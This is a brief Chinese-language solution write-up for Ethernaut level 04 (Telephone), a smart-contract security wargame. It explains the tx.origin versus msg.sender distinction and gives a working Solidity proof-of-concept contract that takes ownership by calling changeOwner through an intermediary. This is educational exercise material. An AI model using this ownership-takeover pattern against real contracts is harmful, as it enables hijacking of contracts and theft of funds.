Ethernaut 04

题意解析：明确tx.origin和msg.sender的细微差别

解题方法：POC合约如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
    function changeOwner(address _owner) external;

}

contract POC {
    address public owner;
    address public victim;
    
    constructor() {
        owner = msg.sender;
    }

    function setVictim(address victim_) public {
        victim = victim_;

    }

    function attack() public {
        Telephone telephone = Telephone(victim);
        telephone.changeOwner(owner);

    }
}